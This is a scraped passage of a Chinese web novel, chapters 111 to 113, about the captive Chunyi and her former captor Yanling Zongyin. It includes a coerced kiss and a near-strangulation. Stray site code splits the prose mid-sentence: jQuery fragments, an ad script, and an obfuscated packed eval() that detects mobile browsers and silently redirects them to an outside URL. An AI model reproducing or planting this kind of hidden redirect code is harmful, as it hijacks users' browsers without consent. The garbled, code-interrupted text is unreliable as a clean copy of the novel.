纯懿只会一些浅显的功夫,孟曹勋年老体衰,更是不通武艺,在这些精兵现身的一刻,两人心中俱都清楚,他们今日是走不了了。 纯懿和孟曹勋很快就被从马上拖了下来。兵士们围拢到他们身边,动作粗暴将他们的双手反扭在身后,用一条粗糙的麻绳紧紧绑缚在一起,然后还给他们头上套了一个黑色头套,阻断了他们全部的视线,这才将手臂扣在他们后脖颈处,押着他们前行。 开始时,孟曹勋还在纯懿身边不住高声喝骂,到了后来,可能是嫌弃他太吵了,那些虞娄兵士不知用了什么法子塞住了孟曹勋的嘴,纯懿的耳边就清净下来,只剩下军靴踏在地上的整齐划一的“踏踏”声。 她似乎被带入了一个房间。押着她的那兵士粗暴压着她的脖子,纯懿就被迫弯下膝盖,跪在冰凉的地面上。 然后,又是一阵军靴的“踏踏”声,兵士们应该是离开了这间屋子,还锁上了门,只将纯懿一人留在屋中。 那黑色的头套仍然套在纯懿头上,让她看不到周围的情况。纯懿却也没挣扎,她甚至都没有变换一下姿势,维持着刚刚被迫跪下的动作,静静等待着。 屋子里很安静,只能听到她自己的呼吸,一下又一下,并不太规律。不知过了多久,外面终于又传来了一阵脚步声。这声音在门外短暂停留了片刻,下一瞬,门被打开了,来的人步子迈得很大,沉重而又规律的脚步声朝她靠近,莫名就给人以无形的压迫,最后在她面前停了下来。 纯懿仍旧动也不动,甚至连头都没抬。 衣袍的窸窣声,笼在眼前的黑暗骤然消失,纯懿头上的头套被人一把掀开了去,带动了她散开的几丝头发,在脸侧额间纷飞而落。 纯懿低着头,任凭那些发丝杂乱滑落下来,落在皮肤上。 一只大掌抚上她的侧脸,动作很轻,帮她将散落的头发别到耳后,然后又顺势在她耳垂上揉捏。那大掌炙热又粗糙,布满了厚厚的茧子,在纯懿皮肤上流连时,痒痒地刺痛。 一道熟悉的声音响在耳边,仍旧带着他惯常的冰凉狠厉,音色却分外沙哑:“怎么,背叛了我,现在不敢抬头看我?” 那只大掌顺着纯懿的侧颈游移到她的下颌,猛然掐住她的颌骨,强制抬起她的脸。 纯懿便对上了一双黝黑的眸子。 现在外面应该已经是黑夜,屋里没有点灯,只有惨白凄清的月光穿过窗纸,洒下一片清辉。 就在朦胧的光影之中,延陵宗隐正似笑非笑看着她。 他似乎与最后一次见面时没什么不同,只是唇畔多了一层浅青的胡茬,却丝毫不显得落魄邋遢,反而更为他增添了些男人的野性魅力。他右膝屈起,半跪在纯懿面前,却仍是比挺直着腰的纯懿高出一大截,微垂着头,居高临下俯视着她。 早在看到围上来的兵士身上那熟悉的服制时,纯懿就已猜到是他,早已做好了思想准备。此刻终于见到他,她也没什么惊讶,甚至还能很是平静地露出一个浅笑来:“你回来了。” 出声才发现,她自己的嗓子也是沙哑的,甚至比延陵宗隐还要更加干涩几分。 下颌一痛,延陵宗隐手指猛然用力,纯懿下意识轻呼出声,可下一刻,颌骨处的力道消失了。延陵宗隐放开了她,缓缓站起身来,竟然转身,走去了桌子旁边。 再回来时,他的手上便多了一个精致的瓷壶。他弯腰看向纯懿,眸光深沉,不知在想些什么,也不将壶中茶水倒出来,反而把壶嘴对着自己的嘴,仰头就灌了一大口。 透明的水液从延陵宗隐唇畔流淌而出,划过滚动的喉结和线条流畅的脖颈,洒在他的前襟。然后,他忽然将手中瓷壶一扔,就在瓷器破裂的清脆声响中,忽然欺身,狠狠吻上纯懿的唇。 延陵宗隐的右手牢牢扣在纯懿后脑,五指深深插入她的发间,迫着她的脸庞微抬迎合着他,双唇肆虐的动作异常凶狠,简直是在啃咬撕扯。他不顾纯懿的呜咽和推拒,强势又不容拒绝地将口中液体渡给纯懿,入喉辛辣,竟然是酒。 酒液辗转在两人唇间,很快就更加热烫起来。 延陵宗隐长得健壮,作风强势,力道也大,就连唇上功夫都远比纯懿要高超,眼下又是恼恨异常,便用尽全身解数折磨她的两片唇瓣,还很是恶劣地故意用粗硬的胡茬不住碾磨她顺滑的皮肤,一定要让她承受不住,呜咽出来才稍稍解气。 可最先沉醉的却也是他。狂风暴雨之后,延陵宗隐的动作不由又轻柔下来,双唇甚至有些发抖,像是捧着什么珍宝一般,小心翼翼啄吻吮吸,强势压在她后脑的右手也放轻了些力道,转而在她发间按揉摩挲着。 终于给了纯懿喘息之机。她抓住延陵宗隐的双唇短暂离开她唇上的间隙,微微侧头避开他:“你是怎么出来的?” 延陵宗隐呼吸灼热粗重,不肯就这般放过纯懿,执着地继续追逐而来,又压着她的唇逞凶片刻,才将额头抵上纯懿的额头,喘着粗气道:“那里困不住我。” 纯懿立刻又问:“你是怎么找到我的?” 延陵宗隐稍稍后退一些,视线落到纯懿脸上:“我怕我不在时有人会对你不利,所以早就准备好了绝对安全的地方。若我出事,失木错会立刻护送你去那里躲避,护你安全。” “对我不利?”纯懿不由冷笑,“延陵宗隐,你敢说,你把我带到那里,掐断我与外界的一切联系,只是为了保护我吗?你就没有一点是怕我逃跑,要关着我的意思吗?” 延 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749971|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陵宗隐看了纯懿片刻,竟然笑了。他拇指轻柔擦拭着纯懿下颌,帮她拭去黏腻的酒液,非常坦荡地:“也有一点。” 一边说着,他一边又凑近纯懿,还要继续吻她。 纯懿再次躲开他凑近的脸庞。她直视着延陵宗隐幽深的黑眸,执拗开口:“你是怎么找到我的?别顾左右而言他,我已经从那小院里逃出来了,失木错没有追上来,你怎么能那么精确地在城门处拦截我?该不会,你是在每个城门都派了人守着吧?” “倒是不必那么麻烦。”延陵宗隐也不恼怒于纯懿的闪躲,干脆就着她侧脸的动作,径直将英俊的脸埋入纯懿脖颈,深深嗅着她身上清甜的香气,忽然开口感叹,“你身上真香。” 纯懿是认真在问他的,对于他这般流氓行径很是厌烦,刚想斥责他,忽然心中一动,竟浮上了一个隐隐的猜测:“这香……” “嗯,”延陵宗隐的声音有些闷闷的,“不管你逃到哪里,我养的蜂都能找到你。” 想到延陵宗隐府上和那小院里一直燃着的袅袅幽香,对于他竟从如此早的时候就开始不动声色的未雨绸缪,纯懿一时不知该说什么,最后还是咬住唇,恨恨道:“无耻!” 延陵宗隐这次却没有接话。他沉默一会儿,忽然起身,伸手探进自己怀中,摸出一个小小的布包来。 延陵宗隐的手是惯常握刀的,指节粗大,很少干这种精细活。此刻,他一层一层小心翼翼解着那小布包,竟然显得有些笨拙。 最后一层布料滑下,一块小金饼安静躺在延陵宗隐手中。 那块金饼并不算厚,与延陵宗隐惯常的大方出手很是不符,难能可贵的是,上面竟然刻着一个女子的小像。那娘子五官精致,明眸皓齿,唇边带着温柔的笑容,可那神情却很是倔强,竟让这简单的一副刻像变得生动起来。 不必延陵宗隐说,纯懿就已认出,这是她自己。 “这本来是我亲手雕刻,打算在我们的洞房之夜当做压床喜钱的,可现在,我只有这个了。”延陵宗隐将那刻着小像的金饼捧到纯懿面前,苦笑,“用这个当做我送你的财礼,可以吗?” 纯懿看着这块在昏暗中也熠熠生辉的小金饼,沉默了许久,才艰涩开口:“何必呢?” 延陵宗隐却不回答她,也不将手收回,只执着递在纯懿面前。 在沉默的对峙中,还是纯懿先败下阵来。她强迫自己将视线从近在咫尺的另一个自己身上移开,忽然开口:“你喜欢我吗?” 这个问题她曾经问过延陵宗隐,现在骤然重提,情况却与当时迥然不同。 延陵宗隐一双黑眸深沉,直直看入纯懿眼中,双唇紧抿没有开口。 纯懿却紧追不舍,甚至前倾了些身子,有些咄咄逼人地再问:“你爱慕我吗?” 延陵宗隐颊侧肌肉紧绷,仍是默然不语。 纯懿叹气。她放柔了些声音:“蒙庆联军不会灭掉虞娄的。” 她看向延陵宗隐,半是引诱,半带真挚地道:“你还有许多忠于你的人,带着他们去抵抗吧。做完你应该做的事情。” 还是沉默。良久之后,久久凝视她的延陵宗隐终于开口。 “你呢?” 他双手握上纯懿肩膀,似乎是抓住了一线希望:“你与我一起回去吗?” 111. 第 111 章 纯懿完全没想到,延陵宗隐竟然会问出这般不符合他性格的问题。她有些诧异地看了延陵宗隐一眼,摇摇头:“不了。” 延陵宗隐握在她肩头的手陡然收紧,纯懿恍若未查,继续道:“几次谋划,几次逃离,我太累了。你知道吗?我其实是最倦怠懒散的性子,向来很怕麻烦,也很讨厌算计,能支撑到这里,也已经是我的极限了。” 她竟然还能露出一个笑容来:“你可以动手了,我不会再反抗的。” “动手?”延陵宗隐手下更加用力,十指几乎陷入纯懿的肩胛之中。他似乎是听到了什么好笑的话一般,微微侧头,唇角弧度越勾越大,最后竟然笑出声来。 他颊侧肌肉几度紧绷,再转回头时,他延陵宗隐起眼皮,沉沉的黑眸中已经全然是狠厉,像是抓到了猎物的鹰隼一般逼视着纯懿,咬牙切齿开口:“要是能杀了你,我早就动手了,还能等到现在?” 纯懿的身子被延陵宗隐箍着前后摇晃,膝盖与地面摩擦着,在寒凉中更添疼痛。可她却没有露出一点异色,面色温和看着延陵宗隐,视线中甚至带上了些怜悯,像是在看一只困于笼中嘶吼的野兽。 她的手中握着钥匙,却不肯弯下身来。 延陵宗隐看着纯懿平静的面色,忽然,一种疲惫就涌上心头。他这几日一直在牢中,虽然没人敢对他做些什么,一应条件都是最好的,更别说他之前在战场上,比牢中环境恶劣的地方也见得多了,就是在尸骨堆旁,他也是睡过的,可这一次,不知为什么,他却觉浑身都是满满的懈怠,什么都不想想,也什么都不想做。 延陵宗隐放开纯懿的肩膀。他高大的身子缓缓弯折起来,就地坐在了纯懿面前。 似乎是地面传来的冰凉让他冷静了下来,沉默一会儿之后,再开口时,延陵宗隐的语气已然镇定:“你做了什么?” 纯懿也微微放松了些绷紧的脊背,却是反问:“你没想到吗?” 也没待延陵宗隐回答,纯懿便自顾自地将一切都和盘托出,从她如何与陆双昂取得联系,到如何推动蒙古与南庆达成盟约,一直到最后,蒙庆联军的如约起兵。她的声线柔和,如同潺潺流水,说的话中却满是兵戈铁马,充斥着欺瞒与背叛。 她的声音萦绕在延陵宗隐耳边,竟然让他有些走神。 果然是这样。 怎么能没想到,他当然想到了的。就算之前不知道她瞒着他在做些什么,在得知蒙庆联军同时起兵的时候,他也立刻就猜出了纯懿的计划。或者说从更早的时候开始,从他将她带入书房、允许她参与他的议事的时候,他就已经想到了今日这般的结局。 他只是不忍心,不忍心她就这样在他身边枯萎,却也不愿放她去旁人身边,所以想尽力拉她一把。 他也只是不甘心,不甘心就这般放弃,便学着陆双昂的样子,笨拙地捧出自己的一片真心来下注,再试一次。 赢了,她是他的。 输了,他是她的。 早已知道的事情,延陵宗隐不想再听。他忽然开口,打断了纯懿的话:“你从来都没有放弃过想要从我身边逃走,在对我下手的时候,也从来都没有一点儿不忍心,是吗?” 纯懿缓缓点头:“是。” 延陵宗隐不肯罢休,身子前倾,立刻逼问:“哪怕在准备婚仪的时候,在准备嫁给我的时候,你也没有过一点动摇吗?” 纯懿面色不变:“是。” 看着这样坚决的纯懿,延陵宗隐脑中竟陡然生出一个疯狂的想法。 纯懿的家国为他所灭,所以她恨透了他,任凭他使尽浑身解数,黔驴技穷,也不肯看他一眼,也不肯爱他一分。那如果,他的家国也被她所灭,换他来做她的奴隶,他们是不是就扯平了?她是不是就会,垂眸看他一眼,将她的善良和宽容施舍给他一分? 延陵宗隐像是抓住了一线希望:“如果我没有灭掉大庆,也没有对你做那些事,我把欠你的都还给你,你会爱……” 没等他说完,纯懿已率先开口,打断了他的话:“不会。” 纯懿直视着延陵宗隐漆黑的眸子,神情中忽而就带上了些怜悯:“你对我说过你的过去。你想要活下去,所以就去抢夺比你还弱小的人的生机。我可以理解你的选择,但是我不能认同你。” “延陵宗隐,我们是完全不同的人。你想要的,就肆意掠夺,你不想要的,就随手毁掉。你见识过最黑暗的人心,所以你谁也不信,只相信自己。” 随着纯懿轻柔的话语,延陵宗隐的神情从急切渐渐转为冷厉。他忽地直起身子,长腿向前一探,整个人便滑到纯懿面前,与她靠得极近,呼吸相闻。 刚刚的脆弱只是瞬间,延陵宗隐重新恢复了他惯常的冷厉,甚至更加阴狠。他挺直了脊背,便又比纯懿高上了一个头,居高临下俯视着纯懿,每个字都是从牙缝里挤出来的一般:“阿陌,别这么冠冕堂皇。” 他双手抚上纯懿侧脸,粗粝的手指滑过她的耳廓、鼻尖、唇瓣,然后落在在她的脖颈和锁骨处,动作轻柔地来回逡巡流连:“我是谁也不信,我只信过你。然后,你背叛了我。” 他的手最后停在纯懿喉间,双手虚虚环握着她雪白纤细的脖颈,视线阴鸷,咬牙切齿地:“很多次。” 她的脖子就落在他掌中,细瘦又脆弱,延陵宗隐甚至能感受到她的脉搏在他掌心跳动,只要稍一用力,就会断成两截,再无声息。 可他还有最后一个问题想问。他在他们之间怀抱着的,最后一丝希望。 “如果,我们有一个孩子,”他在纯懿唇上落下一吻,动作和声音都很轻柔,“前几天我们刚才同房……如果,现在你已经有了我的孩子,你还会离开吗?” 藏在心底最深处的隐痛忽然被延陵宗隐触碰,纯懿脑子一轰,曾经的疼痛、绝望,淋漓的鲜血,多少次的午夜惊梦,骤然向她席卷而来。 他竟然还问孩子。 纯懿面上血色褪去,一张脸惨白,唇角抽动 () { $(''.inform'').remove(); $(''#content'').append('' 几下,渐渐上扬,唇中溢出低低的笑声来。渐渐地,她的笑声越来越大,一直到最后,甚至都笑出了眼泪来。 她的双手仍被绑缚在身后,没办法擦去泪水,便挂着满脸的潮湿看向延陵宗隐,满怀恶意地、一字一字地开口:“有过孩子的。” 延陵宗隐便在她面前僵住了。 他很少露出这般不可置信的神情,整个人都傻了一般,呆呆看着纯懿,似乎没明白她在说什么。等反应过来,他的面上面便露出显而易见的狂喜之色,黑眸下意识看向纯懿小腹,可在视线接触到她纤细平坦的腰肢时,却是一滞。 似乎是想到了什么,他的双手剧烈颤抖起来,连带着整个身子都开始战栗。等再抬起眸子时,延陵宗隐已眼底血红,整张脸几乎扭曲到狰狞,露出种嗜血的疯狂来,掐在她脖颈上的十指一分一分地收紧。 接触到纯懿挑衅的视线,延陵宗隐似乎是终于被激怒了。他的双手猛然握紧,掐断了纯懿喉间最后的呼吸。 空气迅速耗尽,窒息感笼罩着纯懿,让她头脑发昏,眼前一阵一阵冒着金星,身子也沉重起来。她却没有丝毫挣扎,死死盯着延陵宗隐,一双眼睛含着泪水,在凄清的月光下亮得出奇。 这样死在上京,似乎也没有那么可怕。她的孩子埋葬在南庆,她可以与嘉荣姐姐一起,在这里陪着盼儿长大,也算是圆满。 胸膛撕裂一般地痛,延陵宗隐的双手却越掐越紧。就在纯懿以为自己真的要死在这里的时候,喉间桎梏骤然消失。 空气猛地重新涌进她的口鼻,纯懿跌倒在冰凉的地面上,身体微微抽搐,大口大口剧烈呼吸着。 延陵宗隐已站起了身。他脊背笔直,站姿挺拔,垂眸看着躺在他脚边的纯懿,声音冰冷却空洞:“好啊,那我陪你看着。看你付出了这么多,抛弃了这么多,献祭了自己的一切才得以实施的计划,最后到底能不能成功。” 纯懿撑着自己艰难半支起身子,跪坐于地:“成功如何,不成功又如何?” “不成功,我们回去。我不会再信你,我会关着你,折磨你,不管你愿不愿意,永远都不会放了你。”延陵宗隐面无表情,声音仿佛结了冰。 纯懿沉默一会儿,竟然笑了。 “好啊,”她点头,然后又追问,“那如果我们成功了呢?” 延陵宗隐的眸子终于动了动。他缓缓俯下身子,半蹲在纯懿面前,定定看着她的脸,只觉胸膛中某个地方的疼痛愈来愈明显,愈来愈强烈。 他的“我们”中,只有他和她。 而她的“我们”中,唯独没有他。 扯了个嘲讽的笑容,延陵宗隐低下头,在纯懿面前慢慢张开手掌。一抹亮色闪过,他手心里静静躺着一个小金饼,正是刻着纯懿小像的那一枚。 他的手指满是留恋,在那小像上轻抚片刻,然后弯下腰,将那块小金饼轻轻放到了纯懿身侧。 延陵宗隐站起身,默默离开,没再开口,也没再回头。 112. 第 112 章 纯懿本以为,既然已经知道蒙庆联军这一次是有备而来,延陵宗隐便会立即召集部曲,准备与他们作战,可奇怪的是,他似乎完全没有要上战场的打算。 他的二太子府在不久之前的那场上京骚乱中几乎被劫掠一空,延陵宗隐也罕见地保持了沉默,甚至也没有一点儿要回府的意思,纯懿在这个地方修养身体,他则每日轮换着召见臣属,不知在忙碌些什么。 别说纯懿了,就连每日都跟在延陵宗隐身边的黑塔,都看不明白自家郎主的心思。他帮延陵宗隐送走木沐统领,回到屋子里时,看到的便是延陵宗隐双肘撑在桌上,十指按揉着太阳穴,双眸阖起,很是疲累的样子。 黑塔何时看到过自家郎主这般样子,心头火便一股一股往上冒,实在忍不住,上前两步,粗声粗气地道:“郎主,您若是下不了手,我替您去杀了那个女人。” 延陵宗隐动作未停,似乎是没有听到黑塔的话。许久之后,就在黑塔以为延陵宗隐不会回答的时候,他的声音才在屋里响起,平静又淡漠:“可是我舍不得。” 黑塔一个五大三粗的汉子,竟然心里一酸。他一挥手:“如果她对上京有心结,您就带上她,我们杀出上京,翻过祁山,往西北去。反正虞娄现在容不下您,蒙庆联军又来势汹汹,我们也不必绑在这里,去西北成立新国去!” 虞娄先祖本就是逐水草而居,定都上京也没有多久,在这些虞娄汉子心中,什么国土,都是虚的。只要跟着最勇猛的勇士,走到哪里,哪里就是新家。 可延陵宗隐依旧摇头:“她身子弱,已经是一身的伤,就是在上京都受不了严寒,带她一起北去,她活不了的。更何况……” 延陵宗隐没有说完,黑塔却已经猜到了他未说出的话。提到这件事黑塔就生气,若不然,他现在应该已经有小郎主照顾了:“她可真是狠心,那也是她的孩子,就那么不要他,也不知道小郎主受了多少苦才没……” 延陵宗隐缓缓抬起头,睁开双眼,眸光犀利投向黑塔。 黑塔顿觉失言,讷讷闭了嘴,暗骂自己一句,最后还是开口问道:“郎主,之前您想赌一把,眼都不眨就把一切都抛出去了,现在……我们下一步该咋办?” 延陵宗隐微微出神,不知想了些什么,再开口时,语气竟然是从未有过的温和:“这么长时间,你们辛苦了。” “再等等,再帮我做最后一件事,然后就散了吧。想去哪里,就去哪里,想去见谁,就去见谁,想过什么样的日子……”延陵宗隐一顿,竟然露了个微笑出来,“就去过什么样的日子。” 黑塔很是讶异,还想追问,延陵宗隐却已重新闭上双眼,沉声道:“出去吧。” 黑塔心里涌上一阵诡异的不安,可看着延陵宗隐沉肃的面色,却不敢再开口了,只好应了一声,退了出去。 又过了几日,延陵宗隐去找了纯懿一次。他也没与她说些什么,高大健壮的身影立在门口,一双黑眸沉沉打量了纯懿片刻,似乎是在评估着什么,然后很快便离开。 当天晚上,塞里就板着脸进了纯懿的屋子,对她道:“收拾一下东西,准备走。” 纯懿也没问要去哪里。她也没什么东西可收拾的,只安静换了一身便于出行的衣袍,待塞里再来时,就空着双手随她出了院子。 天色已经昏暗,外面早已等了不少人,都是五大三粗的魁梧汉子,没有穿甲胄,腰侧却都挂了大刀,每人都牵着一匹马,人多马多,却极其安静有序,显然是训练有素的精兵。 延陵宗隐也已经站在外面,正负着双手,与黑塔说话。纯懿就停在离他不远的地方,安静看着他。 延陵宗隐转身时,第一眼就看到了纯懿。 她穿着一身骑装,系着腰封,更显得她腰肢极细,精干又飒爽。她的头发也全部盘了起来,并没佩什么簪环,却丝毫不损她的五官精致,反而更让她清丽出尘,在夜风中飘然若仙。 延陵宗隐看了纯懿一会儿,提步朝着纯懿走来,却在走了几步之后,突然转了方向,走向旁边的花圃。 现在正是冬日,百花凋零,只有梅花傲然开放,幽香阵阵。 延陵宗隐伸长手臂,轻易从最高处的枝头摘下一枝梅花,这才继续朝着纯懿大步而来,停在她面前,然后一手扶住纯懿侧脸,另一手小心翼翼将那支梅花插入纯懿的发髻。 他稍稍退后一步,微微侧头,左右打量着纯懿,似乎很是满意,便露了个浅浅的笑容出来,然后转身,一个翻身就跃上了马背,稳稳坐在上面。 他微弯下腰,对着纯懿伸出右手:“来。” 这还是上次摊牌之后,延陵宗隐第一次与纯懿说话。纯懿仰头,安静看了高踞马上的延陵宗隐一会儿,最后还是伸出手,轻轻递到他的手中。 他的手掌很大,覆着一层厚厚的茧子,是他自少年时便血战沙场的证明。他的手掌也非常有力,五指回握住纯懿纤细的手,一个用力,便轻松将她整个人都提了起来,将她置于自己身前。 “坐好了。”他结实的两臂越过纯懿的双肩,让纯懿的身子落入他炙热的怀抱中,还细心将自己的大氅围在纯懿身前,用以挡风,然后才大喝一声“驾”,马儿便飞扬起四蹄,带着他们向前奔去。 出了别院,离开上京,这队人马却不似纯懿设想那般向北行进,反而是一路朝南,路上没有丝毫停留。 纯懿开始时还能忍着惊讶,不发一言,可随着一路上路过的城镇越来越多,路上的情况也越来越熟悉,纯懿就实在有些忍不住了。 这条路…… 这条路是她与贤宁商量好的,她们本准备趁着上京大乱离开虞娄,返回南庆的那条路。 延陵宗隐偏偏选这条路走,究竟是什么意思? 纯懿心绪复杂,还没等她理出头绪,他们这队人马的后方,又传来了隐隐的马蹄声。 听起来后面的人似乎不少,速度也很快,没一会儿就追到了他们身后,甚至都已经能隐约看到策马奔在最前面的那个纤细身影。 “延陵宗隐!还不快把姐姐放了!” 延陵宗隐都没回头看上一眼,只垂了眸子,看向窝在他怀里的纯懿:“你妹妹追来了。” 纯懿只盯着在身前摇晃的马缰,沉默以对。 似乎是看出了纯懿没有开口的意思,延陵宗隐微一抬手,黑塔便驭马靠近他们:“郎主。” 延陵宗隐脚跟用力磕上马腹,淡漠的声音飘 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 散在风中:“你去赶开他们。” 不是杀掉,也不是阻击,是赶开。 黑塔愣了一下,可看着延陵宗隐沉肃的面色,还是应了一声“是”,便带了几个人拨转马头,朝后行去。 因着延陵宗隐的这个吩咐,后面的路途,贤宁追不上他们,却也没跟丢他们,只能一直咬在延陵宗隐一行人之后,就连试图趁着他们夜晚扎营时强攻上去,都被延陵宗隐的精锐部曲阻挡于十里之外。 却也只是阻挡于十里之外。 延陵宗隐的人并没有毫不留情地砍杀他们,却也牢牢守着防线,不允许他们靠近纯懿一步,让贤宁只能遥遥望着前方不远处的那片简陋营帐却始终无法触及,气得破口大骂。 不管是否甘愿,两队人马就保持着这般诡异的平和,一前一后,朝着虞娄边城而去。 又行了几日,终于有前方战报传来。因着双方各有监军在对方营中,蒙庆联军配合默契,一路高歌猛进,各自都攻下了不少城镇,逼近上京。 王太后嘉荣连下几道诏令召集军队,可延陵宗隐已经离开上京,剩下的虞娄重臣们各自都有小心思,有的消极应对,有的甚至置之不理,只有少数一些忠于王族的统领愿意领兵来救,却被嘉荣毫无逻辑的诏令指挥得疲于奔命,终于消耗掉了虞娄最后的反攻力量。 眼看着蒙庆联军即将合围上京,嘉荣王太后带着小王上弃城而逃,可就在这关键时刻,南庆军队突然毫无征兆地整军南撤,离开了战场。身在蒙古军营中的南庆监军陆双昂也在发出一道“全力前进”的军令后,悄无声息从蒙古军营中消失了。 战势顿时逆转。 少了南庆军队,眼看已经是苟延残喘的虞娄终于得了一息生机,在七王子延陵宗覃的带领下,开始组织起了有效的反攻。蒙古人孤军深入战阵,气得破口大骂,可也没什么办法,只好边打边撤,最后退守到刚从虞娄手中夺来的北方重镇涂余,将在乱军中捕获的嘉荣王太后和小王上杀了祭旗。 王上又没了。虞娄重臣商量之后,阵前推举七王子延陵宗覃继承王位。延陵宗覃继位之后的第一道命令,就是一边与蒙古议和,同意割让涂余及其以北地域给擅长作战的蒙古,另一边,则派国禄金拂带兵,南下追击实力稍弱的南庆军队。 听闻这个消息之后,一直着急赶路的延陵宗隐忽然就不急了。 他不再继续南下,而是选在白水河边一处冻土处扎下了营帐,每日在贤宁遥遥的叫骂声中生火做饭,仿佛他们只是来这里悠闲游玩的,又仿佛是在这里耐心等待着什么。 几天之后,他站在了正望着河面出神的纯懿面前。 “白水河是虞娄的母亲河,作战时迷失了方向,只要找到白水河,就能找到回家的方向。”延陵宗隐视线也随着纯懿一起,投向冰封的河面,似乎是陷入了回忆之中,“夏天的时候,我们最喜欢在河里凫水,河水凉爽,能洗去全身的疲惫。冬天的时候,我们还会在冰上凿洞,从洞里抓鱼吃……很好吃的。” 延陵宗隐视线转向纯懿,黑眸中映着细碎的阳光,惯常的阴鸷不见了踪影,反而透着些跃跃欲试,竟然像是一个天真意气的少年郎。 他问她:“想去玩吗?” 113. 第 113 章 延陵宗隐拉着纯懿的手,两人沿着河边奔跑。 一边跑,他一边左右张望,最后终于选定了个地方,长腿一迈,就轻松跨过几块河边大石,绕过一个坡度和缓的小土丘,满意地点头,然后回头招呼纯懿:“这里背风,暖和一些。” 纯懿被延陵宗隐突然拉着跑了一段不近的路,现在正微弯着腰,大口大口喘着粗气。眼下自己累得要命,始作俑者倒是这般中气十足,不由抬头,瞪了延陵宗隐一眼。 延陵宗隐却笑了。他的笑声在旷野之上渐次回荡,从她的四面八方传来,似乎是整个人都被他包围。 纯懿不太喜欢这样的感觉,似乎天地间只剩下他们两人。她便撑起身子,很有些无奈:“你这是要做什么?” “抓鱼啊。”延陵宗隐回答的很理所当然。 因着是临时起意,他们身上并没有带什么东西,甚至连一个小马凳都没有。延陵宗隐四顾一圈,干脆脱下自己的大氅,兜头罩在纯懿身上。 纯懿个子比他矮上许多,他的大氅披在她身上,就长得有些滑稽。延陵宗隐半跪下身子,将拖垂于地的大氅折叠两下,铺在一块平整些的石头上,然后抬头,很是有礼地伸出右手,示意她坐。 纯懿愣了一下,没动。 延陵宗隐也不耐烦与她多耗,干脆站起身来,双手搭上纯懿的肩膀,微一用力就朝下按去,纯懿的身子便顺着他的力道矮了几分,正正好坐在了柔软的大氅之上。 延陵宗隐的大氅温暖,还带着他的体温,完全隔绝了地面的冰寒。纯懿有些不自在,刚动了动身子,就惹来延陵宗隐瞪着眼睛的要挟:“别动。” 纯懿就不动了。 延陵宗隐这才安心,便转身,朝着河边大步走去。 他现在身上只剩下了一身玄色骑装,腰间和四肢都由皮革紧束,更显得肩宽背阔,腰细腿长。他迈步的动作干脆利落,也不顾间或袭来的寒风,将两个袖管都高高撸了上去,露出精壮结实的小臂,一边走着,一边这里瞧瞧,那里看看,似乎是在寻找什么东西。 没走多远,他就找到了一个不错的地方。他停下步子,绕着那里走了两圈,然后回头,朝着纯懿的方向望去,正对上她怔怔投来的目光。 延陵宗隐似乎因着纯懿一直关注着他很是愉悦。他拖长声音,呼喊了一声“哎”作为回应,反手从腰间抽出大刀,右臂猛然一挥,那刀刃便深深没入冰面之中,以刀尖为中心,周围就崩开了几条裂痕。 冰层碎裂的声音,连坐在河边的纯懿都听得到。 纯懿不由皱起了眉头。她能明白黑塔他们看着她的不善视线,更能猜到,若不是有延陵宗隐震慑着他们,这些对延陵宗隐忠心耿耿的手下恐怕会立刻砍了她。 若是延陵宗隐出了什么事…… 她抻长脖子朝着河面张望,暗自揣测着这河面到底冻得有多结实。 延陵宗隐却丝毫没有自己可能会掉下河里去的自觉。他已经将大刀拔出,又连着凿了好几下,冰屑在他身边四溅,折射出星点阳光,他却连眼睛都不眨一下。凿完之后又是挖,又是磨,很快,水从越来越大的裂口处汩汩涌出,浸湿了延陵宗隐的黑色军靴。 延陵宗隐却丝毫不觉冰寒。他神情很是认真,手握大刀,更加卖力地在那里“丁零当啷”地忙活,终于,随着一声闷响,一块冰面缓缓沉了下去,露出一块黑洞洞的河面来。 延陵宗隐唇角便露出一个笑容来。他直起身子,在身上摸索了一会儿,找出了一个军中常用的五爪马勾,两手握住那铁制马勾,手臂肌肉鼓起,一次一个,很快就将那五根铁钩生生掰直,捆在他那把大刀之上,做了一个简单的鱼叉出来。 然后,他趿着湿了之后更重的军靴,迈着沉重的步子,“吧嗒吧嗒”走回纯懿身边,将那简易鱼叉朝着纯懿面前一递,带些炫耀地开口:“看。” 纯懿看着面前这个很有些奇形怪状的鱼叉,实在是很怀疑,这么一个东西,真的能抓到鱼吗? 她忍了忍,别开视线,没有说话。 她的沉默似乎让延陵宗隐很是不快。他忽然伸手拉住纯懿摆在裙上的手,一个用力,就将她拽了起来,然后半拉半扯地,带着她朝刚刚那个洞口处走去。 纯懿被猝然拉起,一边挣扎,一边怒道:“延陵宗隐你干什么?放开我!” 延陵宗隐理都不理,甚至连头都没回,将她一路拽到了那个冰洞旁边。 他的军靴踏进了涌出的河水中,刺骨的冷,延陵宗隐终于醒悟,回头看了眼纯懿红扑扑的脸蛋和从她口鼻处冒出的白雾,犹豫了一下,放开了手,将她留在了没被河水淹过的冰面上。 却也不忘粗声粗气地恐吓她:“在这儿呆着,别乱跑。” 纯懿无奈地站在他身后,拢紧了大氅,面无表情看着他。 延陵宗隐自己又踩着河水回到那个洞口旁。他右臂紧握着那个简易鱼叉,高高举起,摆出一副随时都可出击的姿势,黑眸眯起,视线犀利,在洞口处逡巡。 一时间,河面上很是安静,只剩下风呼呼吹过的声音,和那洞中传来的水流之声。在隐约听到几次鱼儿摆尾的声音之后,就连本来很是无奈的纯懿也不由有些投入了进去,一双眼睛四处张望,搜寻着鱼儿的痕迹。 眼前似乎有一道白色划过,纯懿立刻惊叫:“在那里!” 与此同时,延陵宗隐手中鱼叉迅猛有力地插入冰洞中。待他将那绑着铁爪的大刀提起,纯懿就踮起了脚尖,有些着急地看去:“抓到了吗?” 延陵宗隐回头,声音低沉:“你喊得那么大声,是生怕它跑不了吗?” 